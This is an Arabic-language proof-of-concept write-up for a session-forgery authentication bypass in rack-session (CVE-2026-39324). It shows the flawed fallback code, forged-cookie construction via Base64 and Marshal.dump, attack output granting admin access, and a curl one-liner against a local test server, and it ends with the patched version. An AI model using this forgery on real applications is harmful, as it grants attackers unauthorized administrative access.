
إثبات مفهوم لاستغلال تجاوز المصادقة في Rack::Cookie (CVE-2026-39324)، يوضح تزوير الجلسة عبر المُرمِّز الاحتياطي للحصول على وصول إداري.
فشل فك تشفير Rack::Session::Cookie يتراجع إلى قبول ملفات تعريف الارتباط غير المشفرة
| الاستشارة | GHSA-33qg-7wpp-89cq |
| الحزمة | rack-session (RubyGems) |
| المتأثرة | <= 2.1.1 |
| المُصححة | 2.1.2 |
Rack::Session::Cookie مع secrets: يجب أن يقبل ملفات تعريف الارتباط المشفرة فقط. ولكن عندما يفشل فك التشفير، فإنه لا يرفض ملف تعريف الارتباط — بل يتراجع إلى برنامج الترميز الافتراضي Base64::Marshal.
يمكن للمهاجم إرسال ملف تعريف ارتباط عادي Base64(Marshal.dump(...)) ويقبله الخادم كبيانات جلسة صالحة، دون معرفة أي سر.
rack-session <= 2.1.1Rack::Session::Cookie مع خيار secrets:user_id, role, إلخ) للتفويضغير متأثر:
secret: (مفرد) — يستخدم توقيع HMAC، مسار كود مختلف. فقط secrets: (جمع، وضع ملفات تعريف الارتباط المشفرة) هو المعرض للخطر.ActionDispatch::Session::CookieStore، تنفيذ منفصل.# lib/rack/session/cookie.rb
# يتم دائمًا إنشاء برنامج الترميز الاحتياطي، بغض النظر عن إعداد secrets:
@coder = options[:coder] ||= Base64::Marshal.new
# يحاول فك التشفير — كلها تفشل لملف تعريف ارتباط غير مشفر
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# خطأ: لا يرفض، يمر إلى برنامج الترميز غير المشفر
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
يجب أن يكون فشل فك التشفير على مسار secrets: نهائيًا. بدلاً من ذلك، يمرر ملف تعريف الارتباط إلى coder.decode()، لذلك يتم تحميل ملفات تعريف الارتباط العادية كبيانات جلسة.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb تطبيق Rack مع إعداد secrets:
├── verify.rb فحص أساسي (سلوك طبيعي)
└── attack.rb تزوير الجلسة (الاستغلال)
cd poc
bundle install
ruby server.rb & # تشغيل الخادم المعرض للخطر
ruby verify.rb # تأكيد السلوك الطبيعي
ruby attack.rb # تزوير ملف تعريف الارتباط → وصول المسؤول
تطبيق Rack يستخدم secrets: لملفات تعريف الارتباط المشفرة. مستخدمان: id=1 (عادي)، id=2 (مسؤول). يتم تخزين user_id فقط في الجلسة؛ فحص المسؤول هو بحث من جانب الخادم.
يؤكد أن الخادم يعمل بشكل صحيح:
| الطلب | المتوقع |
|---|---|
GET /admin (بدون ملف تعريف ارتباط) | 403 |
POST /login?id=1 | 200، ملف تعريف ارتباط مشفر |
GET /admin (ملف تعريف ارتباط المستخدم id=1) | 403 |
يزور ملف تعريف ارتباط جلسة دون أي سر.
1) تزوير ملف تعريف الارتباط:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) التدفق من جانب الخادم عند استلام ملف تعريف الارتباط المزور:
encryptor #1 decrypt → HMAC غير صالح
encryptor #2 decrypt → HMAC غير صالح
fallback → coder.decode() → Marshal.load → قبول جلسة المهاجم
→ session["user_id"] = 2 → حل مستخدم المسؤول → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: تزوير الجلسة ---
الهدف: http://127.0.0.1:9416
الحمولة: {"session_id" => "attacker-forged", "user_id" => 2}
ملف تعريف الارتباط: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
خطأ مشفر ملف تعريف ارتباط الجلسة: HMAC غير صالح ← فشل المشفر #1
خطأ مشفر ملف تعريف ارتباط الجلسة: HMAC غير صالح ← فشل المشفر #2، لكن لم يتم رفض ملف تعريف الارتباط
الحالة: 200
الجسم: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] معرض للخطر — تم قبول user_id=2 المزور، تم منح وصول المسؤول.
كلا فحصي HMAC يفشلان، لكن ملف تعريف الارتباط لا يُرفض — برنامج الترميز الاحتياطي يقبله ويحصل المهاجم على صلاحيات المسؤول.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session إلى >= 2.1.2